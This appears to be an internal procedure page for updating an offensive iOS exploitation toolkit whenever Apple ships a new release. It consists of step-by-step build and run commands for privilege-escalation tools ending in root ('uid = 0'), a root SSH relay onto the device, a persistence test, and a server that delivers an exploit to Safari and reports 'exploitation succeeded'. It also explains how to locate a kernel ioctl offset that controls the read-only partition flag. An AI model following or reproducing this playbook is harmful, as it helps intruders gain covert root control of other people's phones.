iOS Triage Process

This describes the process needing to been done when a new iOS version is released.

Pre Setup

1. Make a directory store output folders
   1. mkdir OUT
   2. set $OUT
      1. export OUT=`pwd`/OUT (PWD = mac command for present working directory)
2. Grab the entire ios_manifest
   1. mkdir ios_repo and change into it
   2. repo init -u ssh://git@stash.devlan.net:7999/ios/ios_manifest
   3. repo sync
   4. verify your iOS manifest is on the right branch for the current version of iOS to be tested
      1. change into the .repo/manifests/ dir and verify you are on the correct manifest branch if not check out the right branch and re-sync
   5. set $IOS_REPO

      1. export IOS_REPO=`pwd`/ios_repo

3. Grab a testdylib for testing external to the IOS_REPO
   1. get testdylib_manifest
      1. repo init -u ssh://git@stash.devlan.net:7999/ios/testdylib_manifest
      2. repo sync
   2. cd into testdylib_repo/testdylib
   3. make
   4. CD ..
   5. set $TEST_DYLIB
      

      1. export TEST_DYLIB=`pwd`/Build/Release-iPhoneOS/testdylib/testmain

4. Make sure ghidra_dir installed

   1. must be at least version 6

   2. in your ghidra install look for a folder that contains "ghidraRun"

   3. set $GH_PATH to the path specified above
   4. export GH_PATH=<path>
      1. use full path and NOT relative path
5. Install the enterprise certificate
   1. In a finder window goto /Volumes/share/MDB/iOS/iOSFiles
   2. double click "Viper Ball Hunt Golf.developerprofile" 
      1. this will open xcode to import the profile
      2. the password is the file name minus .developerprofile
   3. double click ios_distribution.cer
   4. double click tag.p12
      1. might error importing but ignore the error
   5. double click testing.mobileprovision

List of tools now needed

1. Xcode Developer Disk Image (DMG) 
   1. Install Xcode (get the lastest version released that should be on the MDB share /MDB/OSX/Software/Apple/Xcode/<newest version>)If it is not get with Inventory Manager
      1. find DMG in xcode directory 

         (/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/<current version>/DeveloperDiskImage.dmg))

   2. put with the other DMG's ( external_binaries/apple/dmg/<version> )

Saline

1. cd $IOS_REPO/saline
2. make clean
3. make
4. run saline
   1.  $IOS_REPO//Dist/Release-MacOSX/saline $TEST_DYLIB

Adderall

1. cd into $IOS_REPO/nightvision/python/
   1. cd $IOS_REPO/nightvision/python/
2. open nv_kern_read_command.py in an editor 
   1. update kernel_info to include latest version number if not already present
   2. in get_ios_type, verify correct version number is in there
3. update make files in $IOS_REPO/early-make by adding new prefix to new to the lists ( cd to $IOS_REPO/early-make and run subl . to open all for editing in sublime)
   1. early-bokken 
   2. early-close
   3. early-persist 
   4. early-remote 
4. update rana
   
   1. update match function in $IOS_REPO/rana/ranas/<proper>_rana.py
   2. <proper> is most likely saline
   3. update means to ensure a verification is there for the current build version if not add another or  version.re is not none to the if statement
5. cd $IOS_REPO/adderall
6. make clean
7. make
8. under $OUT make a folder for adderall files
   1. mkdir $OUT/adder_files
   2. set $AD_OUT
      1. export AD_OUT=$OUT/adder_files
9. cd $IOS_REPO/Dist/Release-MacOSX/
10. ./adderall-dist $AD_OUT
11. Hopefully have execution
12. If theses are beta version then copy the folder in your $AD_OUT to: /Volumes/share/MDB/iOS/iOSFiles-Beta/
13. If theses are not beta version then copy the folder in your $AD_OUT to: /Volumes/share/MDB/iOS/iOSFiles/

Saline-Dist

1. cd $IOS_REPO/saline
2. git checkout -b <descriptive_name>
3. make saline_dist_maker

4. ../Dist/Release-MacOSX/saline_dist_maker $AD_OUT saline-dist/

5. Then push the changes to the repo

Symdra / Elsym

1. under $OUT make a folder for symdra files
   1. mkdir $OUT/sym_files
   2. we will call it $SYM_OUT
   3. export SYM_OUT="$OUT/sym_files" 
2. create branch for elsym-dist

   1. cd $IOS_REPO/elsym-dist/

   2. git checkout -b <descriptive_name>

3. cd back to $IOS_REPO

   1. cd $IOS_REPO

4. run symdra from the $IOS_REPO directory
   1. python symdra/ full -k $AD_OUT -a $SYM_OUT -g $GH_PATH -b <build_number_for_device>
      1. ex. "-b 13A4325c"
   2. (YES you are running python on a folder)
5. When done symbol.db in $SYM_OUT
   1. ls $SYM_OUT/*/symbol.db
6. This will be feed into Elsym
7. Check that the symbol.db is good
   1. sqlite3 $SYM_OUT/<IPSW>/symbol.db
   2. select * from [ Master_Symbols ];
   3. .exit
8. verify elsym
   1. cd $IOS_REPO/elsym
   2. git checkout -b <descriptive_name>
   3. el.py
      1. make sure build number is in the list
      2. might need to change "EL_CONFIG_LWVM_PARITION_FLAG_OFFSET"
         1. For iOS 8.4 we had to change it to 0x28. To determine:
            1. Open ghidra
            2. File -> Open Project
            3. goto the symdra_results/<IPSW>/Ghidra/kernelcache.gpr
            4. Open the System.kext and search for the string "disk0s1", "disk0s1s1", "Writable", and/or "UUID"
            5. This function is bsd_init (note this is heavily inlined and may not fully decompile)
            6. Find the call to _VNOP_IOCTL
            7. The second parameter is the ioctl number we need (in the past was 0xc01064c2 but might be broken into two instructions)
            8. Note the ioctl number
            9. Open com.apple.driver.LightweightVolumeManager.kext
            10. Search Program Text for the ioctl number (note you may want to search for half of it at a time) being used in a comparison
            11. This function is the ioctl handler
            12. Inside the true block of the conditional, look for the constants on the ioctl
            13. One of the commands sets a read-only field (1), the offset for this field is the LWVM_PARTION_FLAG_OFFSET.
   4. run and see what happen
      1. ZOO_IPSW_PATH=$SYM_OUT make copyonedist ZOO_TARGET=<IPSW>
         1. ex. ZOO_IPSW_PATH=$SYM_OUT make copyonedist ZOO_TARGET=iPad4,1_9.0_13A341
         2. _kernel_memory_allocate is only used for the development
   5. python verify.py $IOS_REPO/elsym-dist/
   6. python print_config.py $IOS_REPO/elsym-dist/el_<IPSW>.plist
9. (folder: elsym) If changes to elsym were made put up for pull request
10. (folder: elsym-dist) For new el_*.plist put up for pull requests

El_util

1. cd $IOS_REPO/elutil
2. make clean
3. ZOO_IPSW_PATH=$AD_OUT make ZOO_IPSWS="<target>"
   1. ex. make ZOO_IPSWS=iPhone6,1_13A341
4. el_runo.sh don't use even if it is in the directory
5. cd $IOS_REPO/rana
6. make

7. python $IOS_REPO/Build/Release-MacOSX/rana.pyz -a execute $IOS_REPO/Build/Release-iPhoneOS/elutil/<IPSW>/el_priv

   1. should be "uid = 0, euid = 0"

Nightvision

1. under $OUT make a folder for nightvision files
   1. mkdir $OUT/nv_files
   2. we will call it $NV_OUT
   3. export NV_OUT="$OUT/nv_files" 

2. cd $IOS_REPO/nightvision

3. make clean
4. ZOO_IPSW_PATH=$AD_OUT make dist
5. $IOS_REPO/Dist/Release-iPhoneOS/nv -c $IOS_REPO/elsym-dist/ get -o $NV_OUT/ 

6. tar -tvf $NV_OUT/<IPSW>..tbz  | grep "/private/var/root"

   1. You should see files in the list

El_unit

1. cd $IOS_REPO/elunit
2. make clean
3. make ZOO_IPSW_PATH=$AD_OUT 
4. After the app is install you might have to click on it yourself and trust it
   1. If so also make sure on the device "Settings->Developer->Enable UIUser Interface Automation" is on
5. If you had to do any of step 3 you may need to rerun it
6. should only have 1 failed test
7. open xml from output

   "BUG root: copying dev eltesto/TestNandao.xml -> local <xml>"

8. Failure should be in TestNandao.m

El_ssh

1. cd $IOS_REPO/el_ssh
2. EL_SSH_ACCESS="close" make clean

3. EL_SSH_ACCESS="close" ZOO_IPSW_PATH=$AD_OUT make

   1. If you get the following error

   2. el_ssh/Makefile:46: *** No ipsw resources for <target> .  Stop.

   3. copy the plist from your elsym-dist from the symdra test into the elsym-dist in your manifest
4. cd $IOS_REPO/Dist/Release-iPhoneOS
5. ./el_ssh install
6. ./el_ssh run
7. ./el_ssh dumpkey ssh.key
8. open new terminal (command+t)
9. ./el_ssh relay -p 2222
10. open new terminal (command+t)
11. ssh -i ssh.key -p 2222 root@localhost
12. ls bin_nohash

13. go back to original terminal

Persistence

1. cd $IOS_REPO/dyld-js/

2. ZOO_IPSW_PATH=$AD_OUT make dylinker_test ZOO_CONFIG=Debug

3. cd $IOS_REPO/Dist/Release-iPhoneOS

4. ./scp -i ssh.key -P 2222 $IOS_REPO/Build/Debug-iPhoneOS/dyld-js/dylinker_test_<arch>.js root@localhost:

5. ssh into device
   1. go back to terminal with it open
      OR
   2. see el_ssh instructions

6. /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc dylinker_test_<arch>.js

7. You should see [dylinker] 7 of 7 passed.

Remote

(This will work on 8.4.1 and earlier, NEED to write up HAMR instructions for 9 and newer)

1. cd $IOS_REPO/mcnugget 
2. cd mcp_archon
3. edit archon.py
   1. variable = iOS
4. edit earth.py
   1. variable = iOS
5. edit soul.py
   1. (doesn't actually check version) we are good
6. on the device change setting
   1. Settings -> Safari -> Advanced -> Web Inspector (turn on)
   2. Settings -> Developer -> Enable UIUser Interface Automation (turn on)
7. make clean
8. ZOO_IPSW_PATH=$AD_OUT ZOO_CONFIG=Release make delivery
9. cd $IOS_REPO/Build/Release-MacOSX/mcnugget/

10. ./mc_creator plist --url http://<ip>:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""

    1. <ip> is the ip of your Mac ( not your iDevice)

    2. OR if your feel like cheating ./mc_creator plist --url http://`ifconfig | grep "inet 10" | cut -d " " -f 2`:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""

11. ./solcreate mc.plist /<path>/testdylib.zip -t myid -o myid.sol --nonpersist

12. ./mc_creator server mctest mc.plist mcplugins/mcp_* myid.sol

13. ./mctest 

    1. press enter when prompted for passphrase

    2. wait for ENGINE Bus STARTED
14. Make sure device is on wifi
15. Connect device via usb 
    1. then run python mdf syslog
16. verify safari is not loaded in memory on target
17. On device open safari 
    1. then browse to http://<ip>:8080/?id=myid
18. On mctest log you should see

    1. "exploitation succeeded, deleting from target dictionary"

19. In the syslog you should see the 

    1. "iPhone locationd[57] <Emergency>: ==== Testdylib Started at:"

Related articles

iOS Firmware Updating to latest procedure / Adding Exploit Support For New Devices

('contentbylabel' missing)

('details' missing)